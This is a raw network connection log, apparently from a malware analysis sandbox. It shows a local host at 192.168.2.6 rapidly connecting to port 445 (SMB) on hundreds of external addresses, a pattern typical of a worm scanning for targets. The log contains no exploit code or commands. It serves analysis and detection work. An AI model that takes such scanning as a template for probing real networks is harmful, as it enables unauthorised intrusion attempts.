Jul 21, 2022 04:37:53.068797112 CEST	61567	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:53.068850040 CEST	61681	445	192.168.2.6	207.180.242.131
Jul 21, 2022 04:37:53.068856955 CEST	61680	445	192.168.2.6	190.98.231.119
Jul 21, 2022 04:37:53.094002962 CEST	445	61681	207.180.242.131	192.168.2.6
Jul 21, 2022 04:37:53.297091007 CEST	445	61680	190.98.231.119	192.168.2.6
Jul 21, 2022 04:37:53.366280079 CEST	61794	445	192.168.2.6	190.98.231.120
Jul 21, 2022 04:37:53.429166079 CEST	61795	445	192.168.2.6	207.180.242.132
Jul 21, 2022 04:37:53.429461002 CEST	61796	445	192.168.2.6	189.172.146.17
Jul 21, 2022 04:37:53.592067003 CEST	445	61794	190.98.231.120	192.168.2.6
Jul 21, 2022 04:37:53.600944042 CEST	61801	445	192.168.2.6	201.90.143.243
Jul 21, 2022 04:37:53.601246119 CEST	61804	445	192.168.2.6	79.66.107.183
Jul 21, 2022 04:37:53.601552963 CEST	61808	445	192.168.2.6	152.149.187.230
Jul 21, 2022 04:37:53.602539062 CEST	61824	445	192.168.2.6	222.127.244.71
Jul 21, 2022 04:37:53.602740049 CEST	61825	445	192.168.2.6	210.101.199.40
Jul 21, 2022 04:37:53.602844954 CEST	61827	445	192.168.2.6	2.197.197.168
Jul 21, 2022 04:37:53.603346109 CEST	61834	445	192.168.2.6	207.31.227.63
Jul 21, 2022 04:37:53.603576899 CEST	61838	445	192.168.2.6	221.113.245.153
Jul 21, 2022 04:37:53.603882074 CEST	61843	445	192.168.2.6	211.7.221.26
Jul 21, 2022 04:37:53.604310989 CEST	61848	445	192.168.2.6	51.164.156.94
Jul 21, 2022 04:37:53.604446888 CEST	61850	445	192.168.2.6	153.208.44.115
Jul 21, 2022 04:37:53.604600906 CEST	61853	445	192.168.2.6	206.214.43.175
Jul 21, 2022 04:37:53.604748964 CEST	61855	445	192.168.2.6	87.171.134.245
Jul 21, 2022 04:37:53.604914904 CEST	61859	445	192.168.2.6	115.21.33.110
Jul 21, 2022 04:37:53.605137110 CEST	61862	445	192.168.2.6	30.120.137.152
Jul 21, 2022 04:37:53.605197906 CEST	61863	445	192.168.2.6	105.12.199.154
Jul 21, 2022 04:37:53.605418921 CEST	61866	445	192.168.2.6	8.179.240.10
Jul 21, 2022 04:37:53.605669022 CEST	61869	445	192.168.2.6	82.130.235.136
Jul 21, 2022 04:37:53.605772972 CEST	61871	445	192.168.2.6	122.180.57.37
Jul 21, 2022 04:37:53.605916023 CEST	61873	445	192.168.2.6	18.189.119.18
Jul 21, 2022 04:37:53.606251955 CEST	61879	445	192.168.2.6	26.3.132.25
Jul 21, 2022 04:37:53.606631994 CEST	61883	445	192.168.2.6	6.210.188.124
Jul 21, 2022 04:37:53.606863022 CEST	61886	445	192.168.2.6	218.64.158.81
Jul 21, 2022 04:37:53.607125044 CEST	61890	445	192.168.2.6	58.116.80.163
Jul 21, 2022 04:37:53.607229948 CEST	61892	445	192.168.2.6	109.135.9.7
Jul 21, 2022 04:37:53.607387066 CEST	61895	445	192.168.2.6	144.196.199.250
Jul 21, 2022 04:37:53.607765913 CEST	61901	445	192.168.2.6	168.165.31.175
Jul 21, 2022 04:37:53.771998882 CEST	60181	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:54.162712097 CEST	61794	445	192.168.2.6	190.98.231.120
Jul 21, 2022 04:37:54.386061907 CEST	445	61794	190.98.231.120	192.168.2.6
Jul 21, 2022 04:37:54.444384098 CEST	61908	445	192.168.2.6	190.98.231.121
Jul 21, 2022 04:37:54.506716967 CEST	61909	445	192.168.2.6	189.172.146.18
Jul 21, 2022 04:37:54.506994009 CEST	61910	445	192.168.2.6	207.180.242.133
Jul 21, 2022 04:37:54.662688971 CEST	61567	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:54.691662073 CEST	445	61908	190.98.231.121	192.168.2.6
Jul 21, 2022 04:37:54.725828886 CEST	61919	445	192.168.2.6	105.37.161.84
Jul 21, 2022 04:37:54.726070881 CEST	61918	445	192.168.2.6	100.210.97.25
Jul 21, 2022 04:37:54.726097107 CEST	61922	445	192.168.2.6	210.75.104.33
Jul 21, 2022 04:37:54.726180077 CEST	61923	445	192.168.2.6	163.102.9.84
Jul 21, 2022 04:37:54.726599932 CEST	61927	445	192.168.2.6	12.97.48.58
Jul 21, 2022 04:37:54.726874113 CEST	61930	445	192.168.2.6	214.31.249.73
Jul 21, 2022 04:37:54.726941109 CEST	61932	445	192.168.2.6	90.36.86.168
Jul 21, 2022 04:37:54.727104902 CEST	61935	445	192.168.2.6	118.252.51.76
Jul 21, 2022 04:37:54.727236032 CEST	61938	445	192.168.2.6	133.127.106.103
Jul 21, 2022 04:37:54.727354050 CEST	61940	445	192.168.2.6	106.88.106.68
Jul 21, 2022 04:37:54.727566004 CEST	61943	445	192.168.2.6	164.31.156.238
Jul 21, 2022 04:37:54.728008032 CEST	61948	445	192.168.2.6	32.163.137.43
Jul 21, 2022 04:37:54.728251934 CEST	61952	445	192.168.2.6	148.29.95.135
Jul 21, 2022 04:37:54.728404045 CEST	61955	445	192.168.2.6	210.197.126.36
Jul 21, 2022 04:37:54.728573084 CEST	61958	445	192.168.2.6	132.106.28.177
Jul 21, 2022 04:37:54.728869915 CEST	61962	445	192.168.2.6	85.232.88.44
Jul 21, 2022 04:37:54.729043007 CEST	61965	445	192.168.2.6	23.67.68.24
Jul 21, 2022 04:37:54.729465961 CEST	61971	445	192.168.2.6	17.152.41.195
Jul 21, 2022 04:37:54.729859114 CEST	61978	445	192.168.2.6	177.238.101.93
Jul 21, 2022 04:37:54.730026007 CEST	61981	445	192.168.2.6	53.94.142.123
Jul 21, 2022 04:37:54.730448961 CEST	61987	445	192.168.2.6	198.166.83.169
Jul 21, 2022 04:37:54.731339931 CEST	62002	445	192.168.2.6	131.28.90.201
Jul 21, 2022 04:37:54.731484890 CEST	62003	445	192.168.2.6	189.183.63.136
Jul 21, 2022 04:37:54.731658936 CEST	62005	445	192.168.2.6	59.103.66.166
Jul 21, 2022 04:37:54.731906891 CEST	62011	445	192.168.2.6	118.67.129.39
Jul 21, 2022 04:37:54.732180119 CEST	62015	445	192.168.2.6	96.248.164.20
Jul 21, 2022 04:37:54.732971907 CEST	62020	445	192.168.2.6	122.2.219.233
Jul 21, 2022 04:37:55.012742996 CEST	445	62011	118.67.129.39	192.168.2.6
Jul 21, 2022 04:37:55.194020987 CEST	61908	445	192.168.2.6	190.98.231.121
Jul 21, 2022 04:37:55.441776991 CEST	445	61908	190.98.231.121	192.168.2.6
Jul 21, 2022 04:37:55.522330999 CEST	62011	445	192.168.2.6	118.67.129.39
Jul 21, 2022 04:37:55.522574902 CEST	62023	445	192.168.2.6	190.98.231.122
Jul 21, 2022 04:37:55.569542885 CEST	62024	445	192.168.2.6	207.180.242.134
Jul 21, 2022 04:37:55.569612980 CEST	62025	445	192.168.2.6	189.172.146.19
Jul 21, 2022 04:37:55.593621969 CEST	445	62024	207.180.242.134	192.168.2.6
Jul 21, 2022 04:37:55.776652098 CEST	445	62023	190.98.231.122	192.168.2.6
Jul 21, 2022 04:37:55.803160906 CEST	445	62011	118.67.129.39	192.168.2.6
Jul 21, 2022 04:37:55.835280895 CEST	62030	445	192.168.2.6	105.225.191.179
Jul 21, 2022 04:37:55.835453033 CEST	62033	445	192.168.2.6	180.65.84.97
Jul 21, 2022 04:37:55.835764885 CEST	62036	445	192.168.2.6	56.38.229.28
Jul 21, 2022 04:37:55.836042881 CEST	62038	445	192.168.2.6	76.42.200.91
Jul 21, 2022 04:37:55.836193085 CEST	62040	445	192.168.2.6	186.115.165.195
Jul 21, 2022 04:37:55.836213112 CEST	62041	445	192.168.2.6	54.62.120.254
Jul 21, 2022 04:37:55.836604118 CEST	62045	445	192.168.2.6	214.60.169.14
Jul 21, 2022 04:37:55.836780071 CEST	62046	445	192.168.2.6	166.51.33.210
Jul 21, 2022 04:37:55.837002993 CEST	62048	445	192.168.2.6	170.203.33.105
Jul 21, 2022 04:37:55.837192059 CEST	62051	445	192.168.2.6	185.73.14.212
Jul 21, 2022 04:37:55.837356091 CEST	62053	445	192.168.2.6	11.209.219.174
Jul 21, 2022 04:37:55.838624001 CEST	62071	445	192.168.2.6	201.218.153.14
Jul 21, 2022 04:37:55.838762045 CEST	62073	445	192.168.2.6	194.224.11.181
Jul 21, 2022 04:37:55.838928938 CEST	62075	445	192.168.2.6	194.48.105.165
Jul 21, 2022 04:37:55.839287996 CEST	62081	445	192.168.2.6	78.236.121.64
Jul 21, 2022 04:37:55.839705944 CEST	62085	445	192.168.2.6	147.56.239.41
Jul 21, 2022 04:37:55.840096951 CEST	62090	445	192.168.2.6	166.33.148.52
Jul 21, 2022 04:37:55.840605021 CEST	62093	445	192.168.2.6	160.75.218.185
Jul 21, 2022 04:37:55.841357946 CEST	62099	445	192.168.2.6	94.97.165.9
Jul 21, 2022 04:37:55.841532946 CEST	62101	445	192.168.2.6	95.244.66.168
Jul 21, 2022 04:37:55.842767954 CEST	62115	445	192.168.2.6	52.116.210.11
Jul 21, 2022 04:37:55.842915058 CEST	62116	445	192.168.2.6	148.172.143.67
Jul 21, 2022 04:37:55.842940092 CEST	62117	445	192.168.2.6	39.69.240.97
Jul 21, 2022 04:37:55.843440056 CEST	62122	445	192.168.2.6	15.210.5.145
Jul 21, 2022 04:37:55.843813896 CEST	62129	445	192.168.2.6	39.52.142.242
Jul 21, 2022 04:37:55.843874931 CEST	62130	445	192.168.2.6	74.156.82.2
Jul 21, 2022 04:37:55.843955994 CEST	62131	445	192.168.2.6	122.182.3.12
Jul 21, 2022 04:37:56.100318909 CEST	62024	445	192.168.2.6	207.180.242.134
Jul 21, 2022 04:37:56.123558044 CEST	445	62024	207.180.242.134	192.168.2.6
Jul 21, 2022 04:37:56.282469034 CEST	62023	445	192.168.2.6	190.98.231.122
Jul 21, 2022 04:37:56.428462982 CEST	60183	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:56.536370039 CEST	445	62023	190.98.231.122	192.168.2.6
Jul 21, 2022 04:37:56.585128069 CEST	62137	445	192.168.2.6	190.98.231.123
Jul 21, 2022 04:37:56.647583008 CEST	62140	445	192.168.2.6	189.172.146.20
Jul 21, 2022 04:37:56.647591114 CEST	62139	445	192.168.2.6	207.180.242.135
Jul 21, 2022 04:37:56.668513060 CEST	445	62139	207.180.242.135	192.168.2.6
Jul 21, 2022 04:37:56.808434010 CEST	445	62137	190.98.231.123	192.168.2.6
Jul 21, 2022 04:37:56.960133076 CEST	62142	445	192.168.2.6	77.51.20.136
Jul 21, 2022 04:37:56.960143089 CEST	62143	445	192.168.2.6	154.196.153.251
Jul 21, 2022 04:37:56.960305929 CEST	62144	445	192.168.2.6	14.72.89.56
Jul 21, 2022 04:37:56.960658073 CEST	62151	445	192.168.2.6	29.161.31.211
Jul 21, 2022 04:37:56.960865021 CEST	62154	445	192.168.2.6	144.9.135.29
Jul 21, 2022 04:37:56.961190939 CEST	62161	445	192.168.2.6	118.199.196.101
Jul 21, 2022 04:37:56.961314917 CEST	62163	445	192.168.2.6	35.225.122.87
Jul 21, 2022 04:37:56.961658001 CEST	62170	445	192.168.2.6	218.64.8.60
Jul 21, 2022 04:37:56.961700916 CEST	62171	445	192.168.2.6	14.176.232.236
Jul 21, 2022 04:37:56.962338924 CEST	62184	445	192.168.2.6	121.59.6.21
Jul 21, 2022 04:37:56.962466955 CEST	62186	445	192.168.2.6	185.38.119.66
Jul 21, 2022 04:37:56.962553024 CEST	62188	445	192.168.2.6	20.126.114.139
Jul 21, 2022 04:37:56.962758064 CEST	62192	445	192.168.2.6	37.78.187.94
Jul 21, 2022 04:37:56.963042021 CEST	62198	445	192.168.2.6	188.34.73.56
Jul 21, 2022 04:37:56.963161945 CEST	62200	445	192.168.2.6	119.125.100.117
Jul 21, 2022 04:37:56.963185072 CEST	62201	445	192.168.2.6	138.22.125.81
Jul 21, 2022 04:37:56.964221954 CEST	62220	445	192.168.2.6	201.17.19.223
Jul 21, 2022 04:37:56.964235067 CEST	62221	445	192.168.2.6	91.156.77.247
Jul 21, 2022 04:37:56.964493990 CEST	62225	445	192.168.2.6	59.161.179.119
Jul 21, 2022 04:37:56.964587927 CEST	62226	445	192.168.2.6	189.157.86.58
Jul 21, 2022 04:37:56.964648962 CEST	62227	445	192.168.2.6	90.239.103.193
Jul 21, 2022 04:37:56.964883089 CEST	62231	445	192.168.2.6	182.124.37.122
Jul 21, 2022 04:37:56.965007067 CEST	62233	445	192.168.2.6	215.88.84.7
Jul 21, 2022 04:37:56.965034962 CEST	62234	445	192.168.2.6	164.178.28.149
Jul 21, 2022 04:37:56.965275049 CEST	62237	445	192.168.2.6	33.100.73.49
Jul 21, 2022 04:37:56.965471029 CEST	62241	445	192.168.2.6	49.195.222.235
Jul 21, 2022 04:37:56.965509892 CEST	62242	445	192.168.2.6	203.4.220.143
Jul 21, 2022 04:37:57.178543091 CEST	62139	445	192.168.2.6	207.180.242.135
Jul 21, 2022 04:37:57.198910952 CEST	445	62139	207.180.242.135	192.168.2.6
Jul 21, 2022 04:37:57.319142103 CEST	62137	445	192.168.2.6	190.98.231.123
Jul 21, 2022 04:37:57.544224024 CEST	445	62137	190.98.231.123	192.168.2.6
Jul 21, 2022 04:37:57.647751093 CEST	62253	445	192.168.2.6	190.98.231.124
Jul 21, 2022 04:37:57.726054907 CEST	62254	445	192.168.2.6	207.180.242.136
Jul 21, 2022 04:37:57.726074934 CEST	62255	445	192.168.2.6	189.172.146.21
Jul 21, 2022 04:37:57.851155043 CEST	61567	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:57.897200108 CEST	445	62253	190.98.231.124	192.168.2.6
Jul 21, 2022 04:37:58.086437941 CEST	62263	445	192.168.2.6	95.4.137.62
Jul 21, 2022 04:37:58.086647987 CEST	62264	445	192.168.2.6	48.89.126.199
Jul 21, 2022 04:37:58.088176966 CEST	62285	445	192.168.2.6	2.152.162.200
Jul 21, 2022 04:37:58.088341951 CEST	62287	445	192.168.2.6	151.144.202.109
Jul 21, 2022 04:37:58.088464022 CEST	62289	445	192.168.2.6	214.244.5.185
Jul 21, 2022 04:37:58.088551044 CEST	62262	445	192.168.2.6	139.235.141.237
Jul 21, 2022 04:37:58.088587999 CEST	62282	445	192.168.2.6	48.58.209.191
Jul 21, 2022 04:37:58.088598967 CEST	62290	445	192.168.2.6	193.178.254.140
Jul 21, 2022 04:37:58.088787079 CEST	62293	445	192.168.2.6	1.150.82.69
Jul 21, 2022 04:37:58.088973999 CEST	62296	445	192.168.2.6	59.41.93.112
Jul 21, 2022 04:37:58.089065075 CEST	62297	445	192.168.2.6	12.167.77.229
Jul 21, 2022 04:37:58.089320898 CEST	62301	445	192.168.2.6	186.175.160.242
Jul 21, 2022 04:37:58.089756966 CEST	62304	445	192.168.2.6	166.42.15.191
Jul 21, 2022 04:37:58.089869022 CEST	62305	445	192.168.2.6	140.56.181.174
Jul 21, 2022 04:37:58.090569973 CEST	62314	445	192.168.2.6	64.73.159.226
Jul 21, 2022 04:37:58.090760946 CEST	62315	445	192.168.2.6	146.236.204.68
Jul 21, 2022 04:37:58.090764999 CEST	62317	445	192.168.2.6	190.188.36.102
Jul 21, 2022 04:37:58.091274977 CEST	62323	445	192.168.2.6	74.201.172.25
Jul 21, 2022 04:37:58.091464996 CEST	62325	445	192.168.2.6	217.18.59.185
Jul 21, 2022 04:37:58.091789961 CEST	62332	445	192.168.2.6	134.168.252.58
Jul 21, 2022 04:37:58.092015028 CEST	62335	445	192.168.2.6	6.85.69.169
Jul 21, 2022 04:37:58.092420101 CEST	62341	445	192.168.2.6	21.174.229.21
Jul 21, 2022 04:37:58.092571974 CEST	62343	445	192.168.2.6	151.3.27.46
Jul 21, 2022 04:37:58.093472004 CEST	62357	445	192.168.2.6	48.26.221.212
Jul 21, 2022 04:37:58.093630075 CEST	62359	445	192.168.2.6	205.63.180.62
Jul 21, 2022 04:37:58.094082117 CEST	62365	445	192.168.2.6	7.136.162.206
Jul 21, 2022 04:37:58.397370100 CEST	62253	445	192.168.2.6	190.98.231.124
Jul 21, 2022 04:37:58.655525923 CEST	445	62253	190.98.231.124	192.168.2.6
Jul 21, 2022 04:37:58.725677013 CEST	62369	445	192.168.2.6	190.98.231.125
Jul 21, 2022 04:37:58.804029942 CEST	62371	445	192.168.2.6	189.172.146.22
Jul 21, 2022 04:37:58.804445028 CEST	62370	445	192.168.2.6	207.180.242.137
Jul 21, 2022 04:37:58.978275061 CEST	445	62369	190.98.231.125	192.168.2.6
Jul 21, 2022 04:37:59.194794893 CEST	62374	445	192.168.2.6	116.228.203.209
Jul 21, 2022 04:37:59.194920063 CEST	62377	445	192.168.2.6	106.121.162.58
Jul 21, 2022 04:37:59.195079088 CEST	62380	445	192.168.2.6	96.119.76.109
Jul 21, 2022 04:37:59.195259094 CEST	62382	445	192.168.2.6	137.252.214.214
Jul 21, 2022 04:37:59.195486069 CEST	62389	445	192.168.2.6	166.144.246.157
Jul 21, 2022 04:37:59.195652962 CEST	62393	445	192.168.2.6	48.42.94.111
Jul 21, 2022 04:37:59.195967913 CEST	62400	445	192.168.2.6	152.67.90.107
Jul 21, 2022 04:37:59.196540117 CEST	62414	445	192.168.2.6	6.213.45.227
Jul 21, 2022 04:37:59.196626902 CEST	62416	445	192.168.2.6	67.161.89.228
Jul 21, 2022 04:37:59.196788073 CEST	62420	445	192.168.2.6	212.35.221.233
Jul 21, 2022 04:37:59.197161913 CEST	62428	445	192.168.2.6	51.197.47.11
Jul 21, 2022 04:37:59.197249889 CEST	62429	445	192.168.2.6	145.3.220.123
Jul 21, 2022 04:37:59.197355032 CEST	62431	445	192.168.2.6	76.195.40.199
Jul 21, 2022 04:37:59.197637081 CEST	62437	445	192.168.2.6	209.250.8.88
Jul 21, 2022 04:37:59.198160887 CEST	62449	445	192.168.2.6	6.58.133.203
Jul 21, 2022 04:37:59.198211908 CEST	62451	445	192.168.2.6	200.134.203.134
Jul 21, 2022 04:37:59.198327065 CEST	62453	445	192.168.2.6	142.60.248.36
Jul 21, 2022 04:37:59.198421001 CEST	62454	445	192.168.2.6	42.89.102.155
Jul 21, 2022 04:37:59.198564053 CEST	62457	445	192.168.2.6	54.38.199.246
Jul 21, 2022 04:37:59.198704958 CEST	62460	445	192.168.2.6	28.62.21.69
Jul 21, 2022 04:37:59.198793888 CEST	62462	445	192.168.2.6	59.81.85.29
Jul 21, 2022 04:37:59.198899984 CEST	62465	445	192.168.2.6	4.44.3.118
Jul 21, 2022 04:37:59.199016094 CEST	62467	445	192.168.2.6	93.241.27.17
Jul 21, 2022 04:37:59.199116945 CEST	62469	445	192.168.2.6	150.49.172.242
Jul 21, 2022 04:37:59.199151039 CEST	62470	445	192.168.2.6	34.7.231.132
Jul 21, 2022 04:37:59.200006962 CEST	62478	445	192.168.2.6	152.209.169.69
Jul 21, 2022 04:37:59.444770098 CEST	62484	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:59.475569963 CEST	445	62484	77.129.24.3	192.168.2.6
Jul 21, 2022 04:37:59.475692034 CEST	62484	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:59.475779057 CEST	62484	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:59.491247892 CEST	62369	445	192.168.2.6	190.98.231.125
Jul 21, 2022 04:37:59.725697041 CEST	62484	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:59.742625952 CEST	445	62369	190.98.231.125	192.168.2.6
Jul 21, 2022 04:37:59.788522005 CEST	62487	445	192.168.2.6	190.98.231.126
Jul 21, 2022 04:37:59.866806030 CEST	62489	445	192.168.2.6	189.172.146.23
Jul 21, 2022 04:37:59.866975069 CEST	62488	445	192.168.2.6	207.180.242.138
Jul 21, 2022 04:38:00.038153887 CEST	62484	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:38:00.041450977 CEST	445	62487	190.98.231.126	192.168.2.6
Jul 21, 2022 04:38:00.304124117 CEST	62492	445	192.168.2.6	71.97.222.222
Jul 21, 2022 04:38:00.304548979 CEST	62499	445	192.168.2.6	184.137.141.208
Jul 21, 2022 04:38:00.304779053 CEST	62503	445	192.168.2.6	21.96.241.98
Jul 21, 2022 04:38:00.304801941 CEST	62502	445	192.168.2.6	45.160.101.186
Jul 21, 2022 04:38:00.305263996 CEST	62510	445	192.168.2.6	132.140.228.22
Jul 21, 2022 04:38:00.306010962 CEST	62522	445	192.168.2.6	208.1.248.85
Jul 21, 2022 04:38:00.306201935 CEST	62524	445	192.168.2.6	107.209.48.21
Jul 21, 2022 04:38:00.306345940 CEST	62525	445	192.168.2.6	144.71.161.156
Jul 21, 2022 04:38:00.306459904 CEST	62528	445	192.168.2.6	178.76.79.174
Jul 21, 2022 04:38:00.306636095 CEST	62530	445	192.168.2.6	149.5.157.156
Jul 21, 2022 04:38:00.306772947 CEST	62533	445	192.168.2.6	123.61.131.216
Jul 21, 2022 04:38:00.307033062 CEST	62534	445	192.168.2.6	16.214.53.16
Jul 21, 2022 04:38:00.307043076 CEST	62537	445	192.168.2.6	99.20.177.6
Jul 21, 2022 04:38:00.307267904 CEST	62541	445	192.168.2.6	215.33.252.84
Jul 21, 2022 04:38:00.307298899 CEST	62540	445	192.168.2.6	220.150.124.123
Jul 21, 2022 04:38:00.307478905 CEST	62543	445	192.168.2.6	1.190.46.188
Jul 21, 2022 04:38:00.307859898 CEST	62550	445	192.168.2.6	80.43.196.31
Jul 21, 2022 04:38:00.308420897 CEST	62560	445	192.168.2.6	48.146.138.177
Jul 21, 2022 04:38:00.308536053 CEST	62561	445	192.168.2.6	29.105.140.55
Jul 21, 2022 04:38:00.308677912 CEST	62563	445	192.168.2.6	180.74.183.212
Jul 21, 2022 04:38:00.309082031 CEST	62571	445	192.168.2.6	165.52.10.189
Jul 21, 2022 04:38:00.309293985 CEST	62575	445	192.168.2.6	111.35.187.250
Jul 21, 2022 04:38:00.309653044 CEST	62580	445	192.168.2.6	210.153.168.226
Jul 21, 2022 04:38:00.309760094 CEST	62582	445	192.168.2.6	15.249.1.247
Jul 21, 2022 04:38:00.310578108 CEST	62597	445	192.168.2.6	110.100.104.92
Jul 21, 2022 04:38:00.310848951 CEST	62600	445	192.168.2.6	149.126.197.12
Jul 21, 2022 04:38:00.310853958 CEST	62596	445	192.168.2.6	203.219.249.64
Jul 21, 2022 04:38:00.362166882 CEST	445	62600	149.126.197.12	192.168.2.6
Jul 21, 2022 04:38:00.505558968 CEST	445	62502	45.160.101.186	192.168.2.6
Jul 21, 2022 04:38:00.553771019 CEST	62487	445	192.168.2.6	190.98.231.126
Jul 21, 2022 04:38:00.647528887 CEST	62484	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:38:00.807601929 CEST	445	62487	190.98.231.126	192.168.2.6
Jul 21, 2022 04:38:00.866386890 CEST	62600	445	192.168.2.6	149.126.197.12
Jul 21, 2022 04:38:00.866879940 CEST	62603	445	192.168.2.6	190.98.231.127
Jul 21, 2022 04:38:00.917711973 CEST	445	62600	149.126.197.12	192.168.2.6
Jul 21, 2022 04:38:00.929296970 CEST	62605	445	192.168.2.6	189.172.146.24
Jul 21, 2022 04:38:00.929332018 CEST	62606	445	192.168.2.6	207.180.242.139
Jul 21, 2022 04:38:01.006995916 CEST	62502	445	192.168.2.6	45.160.101.186
Jul 21, 2022 04:38:01.207693100 CEST	445	62502	45.160.101.186	192.168.2.6
Jul 21, 2022 04:38:01.413952112 CEST	62610	445	192.168.2.6	48.70.151.171
Jul 21, 2022 04:38:01.414948940 CEST	62624	445	192.168.2.6	135.122.95.197
Jul 21, 2022 04:38:01.415025949 CEST	62625	445	192.168.2.6	178.187.73.117
Jul 21, 2022 04:38:01.415158987 CEST	62627	445	192.168.2.6	113.61.58.188
Jul 21, 2022 04:38:01.415338993 CEST	62631	445	192.168.2.6	65.185.253.108
Jul 21, 2022 04:38:01.415771008 CEST	62641	445	192.168.2.6	117.101.98.233
Jul 21, 2022 04:38:01.415879011 CEST	62642	445	192.168.2.6	131.125.146.115
Jul 21, 2022 04:38:01.416472912 CEST	62656	445	192.168.2.6	40.185.221.43
Jul 21, 2022 04:38:01.416513920 CEST	62657	445	192.168.2.6	81.151.154.214
Jul 21, 2022 04:38:01.416707039 CEST	62660	445	192.168.2.6	163.221.66.112
Jul 21, 2022 04:38:01.416800022 CEST	62662	445	192.168.2.6	126.132.81.225
Jul 21, 2022 04:38:01.416898966 CEST	62663	445	192.168.2.6	32.2.25.146
Jul 21, 2022 04:38:01.416945934 CEST	62664	445	192.168.2.6	57.20.167.143
Jul 21, 2022 04:38:01.417104006 CEST	62667	445	192.168.2.6	5.160.63.163
Jul 21, 2022 04:38:01.417332888 CEST	62672	445	192.168.2.6	103.217.45.104
Jul 21, 2022 04:38:01.417479038 CEST	62675	445	192.168.2.6	179.36.124.87
Jul 21, 2022 04:38:01.417874098 CEST	62683	445	192.168.2.6	94.142.63.40
Jul 21, 2022 04:38:01.418252945 CEST	62684	445	192.168.2.6	21.232.200.102
Jul 21, 2022 04:38:01.418253899 CEST	62691	445	192.168.2.6	69.74.248.252
Jul 21, 2022 04:38:01.418375015 CEST	62693	445	192.168.2.6	19.169.22.8
Jul 21, 2022 04:38:01.418870926 CEST	62701	445	192.168.2.6	215.208.66.198
Jul 21, 2022 04:38:01.419140100 CEST	62705	445	192.168.2.6	6.231.242.131
Jul 21, 2022 04:38:01.419271946 CEST	62708	445	192.168.2.6	188.34.36.174
Jul 21, 2022 04:38:01.419297934 CEST	62709	445	192.168.2.6	26.96.152.207
Jul 21, 2022 04:38:01.419528008 CEST	62713	445	192.168.2.6	58.33.67.133
Jul 21, 2022 04:38:01.419585943 CEST	62714	445	192.168.2.6	96.22.63.171
Jul 21, 2022 04:38:01.419770956 CEST	62718	445	192.168.2.6	134.228.173.170
Jul 21, 2022 04:38:01.850811005 CEST	62484	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:38:01.929497957 CEST	62721	445	192.168.2.6	190.98.231.128
Jul 21, 2022 04:38:01.991717100 CEST	62724	445	192.168.2.6	189.172.146.25
Jul 21, 2022 04:38:01.992225885 CEST	62723	445	192.168.2.6	207.180.242.140
Jul 21, 2022 04:38:02.538980007 CEST	62731	445	192.168.2.6	60.188.157.162
Jul 21, 2022 04:38:02.539715052 CEST	62734	445	192.168.2.6	175.227.83.177
Jul 21, 2022 04:38:02.539777040 CEST	62735	445	192.168.2.6	23.24.2.208
Jul 21, 2022 04:38:02.539958000 CEST	62738	445	192.168.2.6	6.170.25.127
Jul 21, 2022 04:38:02.540069103 CEST	62739	445	192.168.2.6	154.115.78.247
Jul 21, 2022 04:38:02.540155888 CEST	62740	445	192.168.2.6	135.59.110.44
Jul 21, 2022 04:38:02.540342093 CEST	62743	445	192.168.2.6	142.251.192.233
Jul 21, 2022 04:38:02.540546894 CEST	62748	445	192.168.2.6	109.203.47.101
Jul 21, 2022 04:38:02.540653944 CEST	62750	445	192.168.2.6	27.222.48.71
Jul 21, 2022 04:38:02.541013956 CEST	62758	445	192.168.2.6	106.224.140.146
Jul 21, 2022 04:38:02.541121960 CEST	62760	445	192.168.2.6	158.183.109.185
Jul 21, 2022 04:38:02.541450977 CEST	62766	445	192.168.2.6	103.239.193.98
Jul 21, 2022 04:38:02.541554928 CEST	62769	445	192.168.2.6	133.112.238.63
Jul 21, 2022 04:38:02.541970015 CEST	62778	445	192.168.2.6	66.235.203.230
Jul 21, 2022 04:38:02.542061090 CEST	62780	445	192.168.2.6	90.67.226.151
Jul 21, 2022 04:38:02.542251110 CEST	62783	445	192.168.2.6	43.140.103.214
Jul 21, 2022 04:38:02.542299032 CEST	62785	445	192.168.2.6	118.167.230.234
Jul 21, 2022 04:38:02.542500019 CEST	62789	445	192.168.2.6	48.11.239.184
Jul 21, 2022 04:38:02.542529106 CEST	62790	445	192.168.2.6	65.49.95.190
Jul 21, 2022 04:38:02.542695045 CEST	62793	445	192.168.2.6	178.46.22.41
Jul 21, 2022 04:38:02.543361902 CEST	62807	445	192.168.2.6	40.130.149.130
Jul 21, 2022 04:38:02.543401957 CEST	62809	445	192.168.2.6	10.121.17.169
Jul 21, 2022 04:38:02.543606043 CEST	62813	445	192.168.2.6	31.8.19.206
Jul 21, 2022 04:38:02.543633938 CEST	62814	445	192.168.2.6	59.17.187.144
Jul 21, 2022 04:38:02.544097900 CEST	62823	445	192.168.2.6	74.130.70.204
Jul 21, 2022 04:38:02.544210911 CEST	62826	445	192.168.2.6	67.82.169.214
Jul 21, 2022 04:38:02.544837952 CEST	62838	445	192.168.2.6	216.101.212.123
Jul 21, 2022 04:38:03.007528067 CEST	62842	445	192.168.2.6	190.98.231.129
Jul 21, 2022 04:38:03.069885969 CEST	62843	445	192.168.2.6	207.180.242.141
Jul 21, 2022 04:38:03.073853016 CEST	62844	445	192.168.2.6	189.172.146.26
Jul 21, 2022 04:38:03.663948059 CEST	62850	445	192.168.2.6	210.210.213.93
Jul 21, 2022 04:38:03.664140940 CEST	62854	445	192.168.2.6	7.122.175.227
Jul 21, 2022 04:38:03.664378881 CEST	62860	445	192.168.2.6	71.68.125.214
Jul 21, 2022 04:38:03.664472103 CEST	62862	445	192.168.2.6	154.109.151.218
Jul 21, 2022 04:38:03.664608002 CEST	62864	445	192.168.2.6	116.197.216.176
Jul 21, 2022 04:38:03.664700985 CEST	62865	445	192.168.2.6	74.17.147.146
Jul 21, 2022 04:38:03.664808035 CEST	62867	445	192.168.2.6	37.173.25.116
Jul 21, 2022 04:38:03.664906979 CEST	62869	445	192.168.2.6	111.113.8.164
Jul 21, 2022 04:38:03.665510893 CEST	62883	445	192.168.2.6	83.14.100.244
